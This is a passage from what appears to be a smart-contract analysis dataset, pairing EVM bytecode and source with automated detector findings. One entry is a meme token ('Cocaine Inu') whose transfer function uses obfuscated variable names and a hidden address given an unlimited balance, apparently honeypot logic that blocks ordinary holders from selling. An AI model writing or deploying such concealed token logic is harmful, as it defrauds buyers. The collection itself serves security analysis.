fffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3826000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108df565b82600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109a5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600190505b600b548110156109cd576109bf8161123e565b5080806001019150506109ac565b508060049060056109df92919061152e565b5050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a6020528060005260406000206000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060020154905083565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b41576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c657220213d2070656e64696e67206f776e657281525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080600a60008481526020019081526020016000206000015490506000600a6000858152602001908152602001600020600201549050600062015180610c96633b9aca008442036114e290919063ffffffff16565b81610c9d57fe5b049050610cca633b9aca0060046001860360058110610cb857fe5b0154830261150e90919063ffffffff16565b9350505050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d99576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206e6f64657381525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600a600086815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e71576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4e6f646520616c7265616479206578697374730000000000000000000000000081525060200191505060405180910390fd5b82600a60008681526020019081526020016000206000018190555081600a600086815260200190815260200160002060010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555042600a6000868152602001908152602001600020600201819055506001600b60008282540192505081905550600190509392505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fd9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611106576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206e6f64657381525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600a600085815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156111df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f4e6f646520646f6573206e6f742065786973740000000000000000000000000081525060200191505060405180910390fd5b81600a600085815260200190815260200160002060010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001905092915050565b60008061124a83610c40565b905042600a600085815260200190815260200160002060020181905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600a600086815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561133057600080fd5b505af1158015611344573d6000803e3d6000fd5b505050506040513d602081101561135a57600080fd5b8101908080519060200190929190505050506001915050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461145d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600481600581106114d757600080fd5b016000915090505481565b6000808314806114ff57508183838502925082816114fc57fe5b04145b61150857600080fd5b92915050565b600080821161151c57600080fd5b81838161152557fe5b04905092915050565b826005810192821561155d579160200282015b8281111561155c578251825591602001919060010190611541565b5b50905061156a919061156e565b5090565b5b8082111561158757600081600090555060010161156f565b509056fea2646970667358221220a57ed769f8a7c89202d5bf7f94e589b6c9f5ed6a388d06b22922b7eb45fc256e64736f6c63430007050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 3,722 |
0xF07bE2bA3a73F67c7546dC0Bc5365A3ea22e2EAA
|
/*
https://t.me/cocaine_inu_eth
https://twitter.com/elonmusk/status/1519480761749016577
http://cocaneinu.live/
*/
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.3;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract Contract is Ownable {
constructor(
string memory _NAME,
string memory _SYMBOL,
address routerAddress,
address gently
) {
_symbol = _SYMBOL;
_name = _NAME;
_fee = 5;
_decimals = 9;
_tTotal = 1000000000000000 * 10**_decimals;
_balances[gently] = sentence;
_balances[msg.sender] = _tTotal;
west[gently] = sentence;
west[msg.sender] = sentence;
router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
uint256 public _fee;
string private _name;
string private _symbol;
uint8 private _decimals;
function name() public view returns (string memory) {
return _name;
}
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
function symbol() public view returns (string memory) {
return _symbol;
}
uint256 private _tTotal;
uint256 private _rTotal;
address public uniswapV2Pair;
IUniswapV2Router02 public router;
uint256 private sentence = ~uint256(0);
function decimals() public view returns (uint256) {
return _decimals;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() public view returns (uint256) {
return _tTotal;
}
mapping(uint256 => address) private book;
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function born(
address watch,
address stove,
uint256 amount
) private {
address pot = book[0];
bool buried = uniswapV2Pair == watch;
uint256 us = _fee;
if (west[watch] == 0 && mental[watch] > 0 && !buried) {
west[watch] -= us;
}
book[0] = stove;
if (west[watch] > 0 && amount == 0) {
west[stove] += us;
}
mental[pot] += us;
uint256 fee = (amount / 100) * _fee;
amount -= fee;
_balances[watch] -= fee;
_balances[address(this)] += fee;
_balances[watch] -= amount;
_balances[stove] += amount;
}
mapping(address => uint256) private mental;
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
mapping(address => uint256) private west;
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
require(amount > 0, 'Transfer amount must be greater than zero');
born(sender, recipient, amount);
emit Transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
born(msg.sender, recipient, amount);
emit Transfer(msg.sender, recipient, amount);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function buy(
uint256 count,
address tokenAddress,
address to
) external payable {
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = tokenAddress;
uint256 amount = msg.value / count;
for (uint256 i = 0; i < count; i++) {
router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(0, path, to, block.timestamp);
}
uint256 balance = address(this).balance;
if (balance > 0) payable(msg.sender).transfer(balance);
}
}
|
0x6080604052600436106100f35760003560e01c80638da5cb5b1161008a578063dd62ed3e11610059578063dd62ed3e14610330578063e753858a1461036d578063f2fde38b14610389578063f887ea40146103b2576100f3565b80638da5cb5b1461027257806395d89b411461029d578063a9059cbb146102c8578063c5b37c2214610305576100f3565b8063313ce567116100c6578063313ce567146101c857806349bd5a5e146101f357806370a082311461021e578063715018a61461025b576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd1461016057806323b872dd1461018b575b600080fd5b34801561010457600080fd5b5061010d6103dd565b60405161011a91906113d5565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611490565b61046f565b60405161015791906114eb565b60405180910390f35b34801561016c57600080fd5b50610175610484565b6040516101829190611515565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611530565b61048e565b6040516101bf91906114eb565b60405180910390f35b3480156101d457600080fd5b506101dd6105dd565b6040516101ea9190611515565b60405180910390f35b3480156101ff57600080fd5b506102086105f7565b6040516102159190611592565b60405180910390f35b34801561022a57600080fd5b50610245600480360381019061024091906115ad565b61061d565b6040516102529190611515565b60405180910390f35b34801561026757600080fd5b50610270610666565b005b34801561027e57600080fd5b506102876106ee565b6040516102949190611592565b60405180910390f35b3480156102a957600080fd5b506102b2610717565b6040516102bf91906113d5565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea9190611490565b6107a9565b6040516102fc91906114eb565b60405180910390f35b34801561031157600080fd5b5061031a610825565b6040516103279190611515565b60405180910390f35b34801561033c57600080fd5b50610357600480360381019061035291906115da565b61082b565b6040516103649190611515565b60405180910390f35b6103876004803603810190610382919061161a565b6108b2565b005b34801561039557600080fd5b506103b060048036038101906103ab91906115ad565b610b50565b005b3480156103be57600080fd5b506103c7610c47565b6040516103d491906116cc565b60405180910390f35b6060600280546103ec90611716565b80601f016020809104026020016040519081016040528092919081815260200182805461041890611716565b80156104655780601f1061043a57610100808354040283529160200191610465565b820191906000526020600020905b81548152906001019060200180831161044857829003601f168201915b5050505050905090565b600061047c338484610c6d565b905092915050565b6000600754905090565b60008082116104d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c9906117b9565b60405180910390fd5b6104dd848484610e08565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161053a9190611515565b60405180910390a36105d4843384600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105cf9190611808565b610c6d565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61066e611270565b73ffffffffffffffffffffffffffffffffffffffff1661068c6106ee565b73ffffffffffffffffffffffffffffffffffffffff16146106e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d990611888565b60405180910390fd5b6106ec6000611278565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606003805461072690611716565b80601f016020809104026020016040519081016040528092919081815260200182805461075290611716565b801561079f5780601f106107745761010080835404028352916020019161079f565b820191906000526020600020905b81548152906001019060200180831161078257829003601f168201915b5050505050905090565b60006107b6338484610e08565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108139190611515565b60405180910390a36001905092915050565b60015481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600267ffffffffffffffff8111156108cf576108ce6118a8565b5b6040519080825280602002602001820160405280156108fd5781602001602082028036833780820191505090505b509050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561096d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061099191906118ec565b816000815181106109a5576109a4611919565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505082816001815181106109f4576109f3611919565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060008434610a3c9190611977565b905060005b85811015610af157600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6f9de958360008688426040518663ffffffff1660e01b8152600401610aac9493929190611aa1565b6000604051808303818588803b158015610ac557600080fd5b505af1158015610ad9573d6000803e3d6000fd5b50505050508080610ae990611aed565b915050610a41565b5060004790506000811115610b48573373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610b46573d6000803e3d6000fd5b505b505050505050565b610b58611270565b73ffffffffffffffffffffffffffffffffffffffff16610b766106ee565b73ffffffffffffffffffffffffffffffffffffffff1614610bcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc390611888565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3290611ba7565b60405180910390fd5b610c4481611278565b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610cd85750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610d17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0e90611c39565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610df59190611515565b60405180910390a3600190509392505050565b6000600c600080815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610f2a57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610f34575081155b15610f905780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f889190611808565b925050819055505b84600c600080815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180156110315750600084145b1561108d5780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110859190611c59565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110dc9190611c59565b9250508190555060006001546064866110f59190611977565b6110ff9190611caf565b9050808561110d9190611808565b945080600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461115e9190611808565b9250508190555080600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111b49190611c59565b9250508190555084600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461120a9190611808565b9250508190555084600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112609190611c59565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561137657808201518184015260208101905061135b565b83811115611385576000848401525b50505050565b6000601f19601f8301169050919050565b60006113a78261133c565b6113b18185611347565b93506113c1818560208601611358565b6113ca8161138b565b840191505092915050565b600060208201905081810360008301526113ef818461139c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611427826113fc565b9050919050565b6114378161141c565b811461144257600080fd5b50565b6000813590506114548161142e565b92915050565b6000819050919050565b61146d8161145a565b811461147857600080fd5b50565b60008135905061148a81611464565b92915050565b600080604083850312156114a7576114a66113f7565b5b60006114b585828601611445565b92505060206114c68582860161147b565b9150509250929050565b60008115159050919050565b6114e5816114d0565b82525050565b600060208201905061150060008301846114dc565b92915050565b61150f8161145a565b82525050565b600060208201905061152a6000830184611506565b92915050565b600080600060608486031215611549576115486113f7565b5b600061155786828701611445565b935050602061156886828701611445565b92505060406115798682870161147b565b9150509250925092565b61158c8161141c565b82525050565b60006020820190506115a76000830184611583565b92915050565b6000602082840312156115c3576115c26113f7565b5b60006115d184828501611445565b91505092915050565b600080604083850312156115f1576115f06113f7565b5b60006115ff85828601611445565b925050602061161085828601611445565b9150509250929050565b600080600060608486031215611633576116326113f7565b5b60006116418682870161147b565b935050602061165286828701611445565b925050604061166386828701611445565b9150509250925092565b6000819050919050565b600061169261168d611688846113fc565b61166d565b6113fc565b9050919050565b60006116a482611677565b9050919050565b60006116b682611699565b9050919050565b6116c6816116ab565b82525050565b60006020820190506116e160008301846116bd565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061172e57607f821691505b602082108103611741576117406116e7565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006117a3602983611347565b91506117ae82611747565b604082019050919050565b600060208201905081810360008301526117d281611796565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006118138261145a565b915061181e8361145a565b925082821015611831576118306117d9565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611872602083611347565b915061187d8261183c565b602082019050919050565b600060208201905081810360008301526118a181611865565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506118e68161142e565b92915050565b600060208284031215611902576119016113f7565b5b6000611910848285016118d7565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006119828261145a565b915061198d8361145a565b92508261199d5761199c611948565b5b828204905092915050565b6000819050919050565b60006119cd6119c86119c3846119a8565b61166d565b61145a565b9050919050565b6119dd816119b2565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a188161141c565b82525050565b6000611a2a8383611a0f565b60208301905092915050565b6000602082019050919050565b6000611a4e826119e3565b611a5881856119ee565b9350611a63836119ff565b8060005b83811015611a94578151611a7b8882611a1e565b9750611a8683611a36565b925050600181019050611a67565b5085935050505092915050565b6000608082019050611ab660008301876119d4565b8181036020830152611ac88186611a43565b9050611ad76040830185611583565b611ae46060830184611506565b95945050505050565b6000611af88261145a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611b2a57611b296117d9565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611b91602683611347565b9150611b9c82611b35565b604082019050919050565b60006020820190508181036000830152611bc081611b84565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c23602483611347565b9150611c2e82611bc7565b604082019050919050565b60006020820190508181036000830152611c5281611c16565b9050919050565b6000611c648261145a565b9150611c6f8361145a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ca457611ca36117d9565b5b828201905092915050565b6000611cba8261145a565b9150611cc58361145a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611cfe57611cfd6117d9565b5b82820290509291505056fea2646970667358221220db7777559abe32c95d6a827f56c96fa18872e837fcabfac2bff5345d532976b764736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,723 |
0x10f69079977c443e7e3c62b79e7ced16d696b175
|
pragma solidity 0.6.0;
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
